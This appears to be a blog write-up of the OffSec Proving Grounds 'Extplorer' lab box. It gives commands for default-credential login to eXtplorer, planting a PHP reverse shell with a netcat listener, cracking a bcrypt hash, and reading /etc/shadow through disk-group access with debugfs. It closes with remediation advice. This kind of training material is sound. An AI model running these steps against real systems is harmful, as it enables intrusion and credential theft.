PT1 certified | OSCP in progress

Extplorer – OffSec Practice Writeup

Extplorer OffSec Proving Grounds Practice writeup cover

This Extplorer OffSec Practice writeup walks through an eXtplorer file manager with default credentials, an in-browser PHP edit to RCE, cracking a bcrypt hash from .htusers.php, and abusing disk group access with debugfs to crack /etc/shadow for root.

Summary

Extplorer is a medium Linux box that chains a default-credentials web administration tool into a clean raw-disk privilege escalation. The web server hosts a half-configured WordPress instance, but the real foothold is an eXtplorer web file manager exposed under a discoverable directory. It accepts default credentials, and its built-in editor allows writing to any PHP file the web server owns — turning a dormant installer script into a reverse shell.

From the web shell, the file manager’s own credential store leaks a bcrypt hash that cracks to a reusable system password. The resulting user belongs to the disk group, which grants direct access to the raw block device. Using debugfs, we read /etc/shadow straight off the disk — bypassing filesystem permissions entirely — and crack the root hash offline to obtain a full root session.

Reconnaissance

Full port and service scan with RustScan feeding Nmap:

rustscan -a 192.168.208.16 -- -A -oN target
PORTSERVICEINFO
22/tcpOpenSSH 8.2p1 Ubuntu 4ubuntu0.5Ubuntu Linux; protocol 2.0
80/tcpApache httpd 2.4.41 (Ubuntu)Redirects to http://192.168.208.16/wp-admin/setup-config.php (unconfigured WordPress); methods GET HEAD POST OPTIONS

The web root redirects into the WordPress setup wizard (wp-admin/setup-config.php), indicating a default, not-yet-configured WordPress. A WPScan run finds nothing of value:

wpscan --url http://192.168.208.16/ -e ap -o wpscan --api-token <TOKEN>

Directory brute-forcing reveals the non-standard path that matters — a /filemanager endpoint alongside the usual WordPress folders:

gobuster dir -u http://192.168.208.16/ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
wp-content           (Status: 301) [--> /wp-content/]
wordpress            (Status: 301) [--> /wordpress/]
wp-includes          (Status: 301) [--> /wp-includes/]
wp-admin             (Status: 301) [--> /wp-admin/]
filemanager          (Status: 301) [--> /filemanager/]

Browsing to /filemanager/ presents the login page of eXtplorer, a PHP web file manager.

Initial access

eXtplorer ships with built-in default credentials, which work directly:

admin:admin

Inside, the file manager grants full read/write over everything the web server user (www-data) owns. Rather than fight upload filters, we abuse the built-in editor: we open the dormant WordPress installer wp-admin/setup-config.php and replace its contents with the PentestMonkey PHP reverse shell (configured with our IP and port), then save it.

With a listener ready, requesting the edited page triggers execution:

# Attacker
nc -lvnp 443
# Trigger
curl http://192.168.208.16/wp-admin/setup-config.php

A reverse shell returns as www-data. Running linpeas.sh surfaces no obvious host-level quick win, so we pivot to eXtplorer’s own data.

eXtplorer stores its user database as a hidden PHP file in its config directory. It contains a bcrypt hash ($2a$ prefix):

cat /var/www/html/filemanager/config/.htusers.php
$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS

Bcrypt is Hashcat mode 3200. Cracking against rockyou.txt:

hashcat -m 3200 -a 0 hash.txt rockyou.txt
$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS:doraemon

The password doraemon is reused for the local user dora, giving an interactive, stable session (via su dora or SSH) and the user flag.

Privilege escalation

Checking dora‘s identity immediately reveals the escalation path — membership in the disk group:

id
# uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)

The disk group grants direct read access to the raw block device backing the filesystem. Because POSIX file permissions are enforced by the kernel’s VFS layer above the device, reading the device directly bypasses them. Using debugfs (the ext filesystem debugger), we read /etc/shadow — normally 640 root:shadow — straight off the logical volume:

debugfs -R "cat /etc/shadow" /dev/mapper/ubuntu--vg-ubuntu--lv

With the shadow hashes and /etc/passwd, we crack offline. Combine the two files and run John:

unshadow passwd shadow > unshadowed.txt
john unshadowed.txt
explorer         (root)

The root password is explorer. We switch to root for a full session and the root flag:

su root        # password: explorer
id
# uid=0(root) gid=0(root) groups=0(root)

Conclusion

Extplorer is a lesson in how a single administrative tool with default credentials collapses an entire trust boundary. The WordPress redirect is a deliberate distraction; the real entry point is the discoverable eXtplorer instance, where admin:admin plus an in-browser file editor is all that separates an anonymous visitor from arbitrary code execution as the web server user.

The escalation chain is equally rooted in misconfiguration rather than any software vulnerability. eXtplorer persisting a crackable bcrypt hash in a readable file, the operator reusing that password for a system account, and that account being placed in the disk group are three independent mistakes that compound into instant root. The disk group in particular is frequently overlooked, yet it is effectively equivalent to root because raw-device access defeats filesystem permissions outright.

Remediation: change eXtplorer’s default credentials and keep the tool off untrusted networks; run the web server as a user with no write access to its own PHP source; never reuse administrative passwords for system accounts; and never grant interactive users membership in the disk (or adm) group. Enforcing unique, strong passphrases would also blunt the offline cracking of both the bcrypt hash and the root shadow entry.

Index